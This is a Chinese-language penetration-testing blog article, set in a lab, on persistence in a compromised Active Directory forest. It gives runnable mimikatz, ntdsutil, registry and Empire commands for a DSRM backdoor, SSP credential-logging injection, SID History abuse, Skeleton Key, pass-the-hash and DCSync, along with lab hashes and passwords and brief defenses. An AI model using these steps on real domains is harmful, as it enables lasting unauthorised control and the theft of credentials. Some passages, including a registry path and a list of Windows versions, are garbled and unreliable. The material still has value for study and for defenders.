freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基内网篇:域森林中权限维持(下)
2021-06-30 09:17:56

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油,学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,不管是出于何种目的,未经授权的渗透测试都是不合法的!红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。

如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。

跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:

社工钓鱼 -> 免杀过全杀软 -> 内网渗透 

那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。

通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:

域普通用户 -> 子域控制器 -> 父域控制器 -> 辅域控制器 -> 财务独立域

通过该思路进攻即可,还有另外一条思路:

域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸(财务独立域10.10.21.0/24)

渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过前几期的域森林专辑文章中利用隐藏通道技术、权限提升、横向攻击、域控安全技术、跨域攻击、置零攻击等手段对公司进行了大面积渗透行为,今天我们就来对域森林中如何进行权限维持进行攻击,总结实战中会遇到的各种权限维持的方法,利用这些方法在内网中遨游!

不会权限维持的技术,就无法长久的控制系统进行维持攻击行为!

二、环境介绍

目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
1625015909_60dbc66551ec0dc50812d.png!small?1625015909507
为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:

单篇:渗透测试之地基内网篇:域森林中父子域和辅域用户搭建分析

在通常情况下攻击者成功贡献该服务器系统后,会利用权限维持进行植入后门,后门(backdoor)是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行连接。在大多数情况下,后门是一个运行在目标主机上的隐藏进程。因为后门可能允许一个普通的授权的用户控制计算机,所以攻击者经常使用后门来控制服务器。

在获得域控制器的权限后,攻击者通常会对现有的权限进行持久化操作。本篇文章将分所攻击者在拥有域管理员权限后将权限持久化的方法,并给出相应的防范措施。

本节将介绍实战中常用的权限维持方法进行攻击渗透!

三、DSRM域后门

1、DSRM域后门简介

DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。

在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版木的系统中不需要安装此补丁。如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作。

我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理品用户,通过网络连接城控制器,进而控制域控制器。

2、修改DSRM密码的方法

微软公布了修改DSRM密码的方法。在城控制器上打开令行环境,常用命令说明如下:

1)第一种方法:

1. NTDSUTIL: 打开ntdsutil
2. set dsrm password   #设置DSRM的密码。
3. reset password on server null  #在当前域控制器上恢复DSRM密码。
4. <PASSWORD>:修改后的密码。
5. q(第1次):退出DSRM密码设置模式。
6. q(第2次):退出ntdsutil

2)第二种方法:

ntdsutil
set dsrm password
sync from domain account krbtgt
q
q

3、真实渗透操作演示

(1)使用mimikatz查看krbtgt的NTLM Hash在域控制器中打开mikaiz,分别输人如下命令:

privilege::debug
lsadump::lsa /patch /name:krbtgt

1625015919_60dbc66f64c2156e7c569.png!small?1625015919538

(2)mimikatz查看并获取SAM文件中本地管理员的NTML

token::elevate
lsadump::sam

1625015924_60dbc674280c85f29e023.png!small?1625015924353

efc1f46c9bdbb7db97fb29bef52edb82

(3)将DSRM账号和krbtgt的NTML HASH同步

ntdsutil
set dsrm password
sync from domain account krbtgt
q
q

1625015929_60dbc6798fe9b6554572a.png!small?1625015930566

(4)查看DSRM的NTML Hash是否同步成功

lsadump::sam
lsadump::lsa /patch /name:krbtgt

1625015934_60dbc67e3824ea01b28b1.png!small?1625015934394

(5)修改DSRM的登录方式

DSRM的三种登录方式,具体如下。

1. 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
2. 1: 只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
3. 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。

在渗透测试中需要注意,在Windows Server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制。
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2,输人如下命令,可以使用PowerShell进行更改:

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

1625015941_60dbc68504517f7472ca4.png!small?1625015941260

(6)使用DSRM账号通过网络远程登录域控制器

使用mimikatz进行哈希传递,在域成员机器的管理模式下打开mimikatz:

mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:xiyou.xiyou.dayu.com /ntlm:42e2656ec24331269f82160ff5962387

(7)使用Mimikatz的scysnc功能远程转储krbtgt的NTML Hash

哈希传递攻击完成后,会弹出一个命令行窗口,在该窗口中打开mimikatz:

lsadump::dcsync /domain:xiyou.dayu.com /dc:dc /user:krbtgt

4、DSRM域后门的防御措施

1. 定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1,或者删除该键值。
2. 定期修改城中所有城控制器的DSRM账号。
3. 经常检查ID为4794的日志。当试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

四、SSP维持域控权限

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DlL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLM、Ketberos,Negotiare Seure Channe (Schannel )、Digest、Credental ( CredSSP )。

SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说SSPI是SSP的API接口。

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是:LSA (Local Security Authority)用于身份验证;lsass.exe 作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

1、mimikatz将伪造的SSP注人

(1)第一个实验是使用mimikatz将伪造的SSP注人内存。这样做不会在系统中留下二进制文件,但如果域控制器重启,被注人内存的伪造的SSP将会丢失。在实际网络维护中,可以针对这一点采取相应的防御措施。

在域控制器中以管理员权限打开mimikatz,分别输入如下命令:

privilege::debug
misc::memssp

1625015948_60dbc68cbbd0c95401834.png!small?1625015948991

注销当前用户。输入用户名和密码后重新登录,获取明文密码,密码存储在日志文件C:\Windows\System32\mimilsa.log中。
1625015953_60dbc6911d506e73b5383.png!small?1625015953267

2、mimilib.dll注入

第二个实验是将mimikatz中的mimilib.dll放到系统的C:\Windows\System32\目录下,并将mimilib添加到注册表中。使用这种方法,系统重启也不会影响持久化的效果。

1)将mimikatz中的mimilib.dll复制到系统的C:\Windows\System32\目录下!

2)修改HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages 项,加载新的DLL文件!

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

1625015957_60dbc695eed5ada5fa45a.png!small?1625015958138

系统重启后,如果DLL被成功加载,用户在登录时输入的账户密码明文就会被记录在C:\windows\system32\kiwissp.log中。
1625015961_60dbc699ca8a92efdfc7c.png!small?1625015963173

3、SSP维持域控制器权限的防御措施

1. 检查HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 项中是否含有可疑的DLL文件。
2. 检查C:WindowsSystem32\目录下是否有可疑的DLL文件。
3. 使用第三方工具检查LSA中是否有可疑的DLL文件。

六、SID History域后门

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中新建的用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mikaz,可以将SID History 属性添加到域中任意用户的SID History 属性中。在渗透测试中,如果获得了域管理员权限(或者等同于域管理员的权限)。就可以将SIDHisoy作为实现持久化的方法。

1、实验操作

将Anisatorn的SID添加到恶意用户test 的SID History属性中。使用powershell查看用户的SID History属性:

Import-Module ActiveDirectory
Get-ADUser test -Properties sidhistory

1625015968_60dbc6a045bc562061d43.png!small?1625015968585

打开一个具有域管理员权限的命令行窗口,然后打开mimikatz将Admnistrator的SID添加到test用户的SID Histery 属性中。需要注意的是:在使用mimikatz注人SID之前,需要使用*sid::patch"命令修复NTDS服务,否则无法将高权限的SID注人低权限用户的SID Hisory属性:mimkaz在2.1版本以后,将mscasidd模块转移到了sid::add模块下。

再次使用PowerShell查看test用户的SID History,尝试列出域控制器C盘的目录 dir \dc\c$:

privilege::debug
sid::add /sam:test /new:Administrator

最后使用test用户登录系统,测试其是否具有administrator的权限,尝试列出域控制器C盘的目录。

2、SID History域后门的防御措施

1. 可以通过注入 SID History属性完成持久化任务。
2. 拥有高权限 SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit。
3. 如果不再需要通过 SID History属性实现持久化,可以使用sid::clear /sam:username 清除SID History的属性。

SID History域后门的防御措施如下:

1. 经常查看域用户中SID为500的用户。
2. 完成域迁移工作后,对有相同SID History属性的用户进定期3. 定期检查ID为4765和4766的日志。4765为将 SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。

七、Skeleton Key

使用Skeleton Key(万能密码),可以对域内权限进行持久化操作。

环境介绍:

域名:xiyou.dayu.com
主机名:xiyou.xiyou.dayu.com
10.10.3.6
administrator
Dayu123

成员服务器:
主机名:win7
10.10.3.100
用户名:dayu
QWEasd123

该环境就是我们真实渗透dayu公司的环境!

1、mimikatz中实验Skeleton Key

1)权限不足

dir \\10.10.3.6\c$    #权限不足

2)IPC

net use \\10.10.3.6\ipc$ "Dayu123" /user:xiyou.dayu.com\administrator

1625015977_60dbc6a90fabf04ae5272.png!small?1625015977677

3)在域控制器中管理员权限打开mimikatz,将Skeleton Key注入域控中的lsass.exe进程

privilege::debug
misc::skeleton

1625015981_60dbc6adb835f8614fc6f.png!small?1625015981870

4)注入成功后,会在域内所有的账号中添加一个Skeleton Key,默认密码为mimikatz。接下来可以在域内任意用户的身份,配合该Skeleton Key,进行域内身份验证授权了。在不使用域管理员原始密码的情况下,使用注入的万能密码。

net use
net use \\10.10.3.6\ipc$ /del /y
 
net use \\xiyou.xiyou.dayu.com\ipc$ "mimikatz" /user:xiyou.dayu.com\administrator

dir \\xiyou.xiyou.dayu.com\c$

1625015985_60dbc6b1e2985179ebdd8.png!small?1625015986203

2、在empire中使用Skeleton KEY

interact KFSV7YB1   #进入agent
usemodule persistence/misc/skeleton_key
execute

将skeleton_key注入后,empire提示可以通过mimikatz进入系统
1625015990_60dbc6b607c7c52a2e43f.png!small?1625015990925

3、Skeleton Key攻击的防御措施

2014年,微软在Windows操作系统中增加了LSA保护策略,以防止Isass.cxe进程被恶意注入。从而防止mimikatz在非允作的情况下提升到debug权限。通用的Skeleton Key的防御措施列举如下:

1. 域管理员用户要设置强口令,确保恶意代码不会在城控制器中执行。
2. 在所有城用户中启用双因子认证,例如智能卡认证。
3. 启动(例如应用程序白名单例如AppLocker以限制mimikatz在域控制器中的运行。
4. 在日常网络维护中注意以下方面,也可以有效防范Skeleton Key
5. 只能在64位操作系统中使用,包括WinwnSren2012、Winds Sener 2012、Windows Sever 200 Windows Sever 2008 R2、WindowServer 2003 R2、Windows Server 2003。
6. 只有具有城管理员权限的用户可以将SleloKeo注人城控制器的lass cxe进程。
7. Seleton Key被注人后,用户使用现有的密码仍然可以登录系统。
8. 因为Selcton Key是被注入lsass.exeexe进程的,所以它只存在于内存中。如果域控制器重启,注人的Skeleton Key将会失效。

八、总结

本章权限维持总结了DSRM域后门、SSP维持域控权限、SID History域后门、Skeleton Key权限维持等,这几种方法在如今也是比较实用的,可以进行联动多种方法,甚至学习后也可以自查本地系统是否被植入该后门成为肉鸡等,希望小伙伴们学到更多的技术!加油~

公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 -> 域森林中横向移动(上)-> 域森林中横向移动(中)-> 域森林中横向移动(下)-> 域森林中域控制安全(上)-> 域森林中域控制安全(下)-> 域森林中跨域攻击(总)-> 域森林中置零攻击(总)-> 域森林中权限维持(上)-> 域森林中权限维持(中)-> 域森林中权限维持(下)-> 域森林中实战攻防(上)......

接下来在《域森林中实战攻防(上)》中会接触到如何通过web页面攻击对方的web服务器,如何通过exp方法进攻对方服务器进行横向移动,如何建立socks5隧道代理在外网进行攻击内网行为,请看下篇域森林中实战攻防篇章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 渗透测试 # 域森林
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录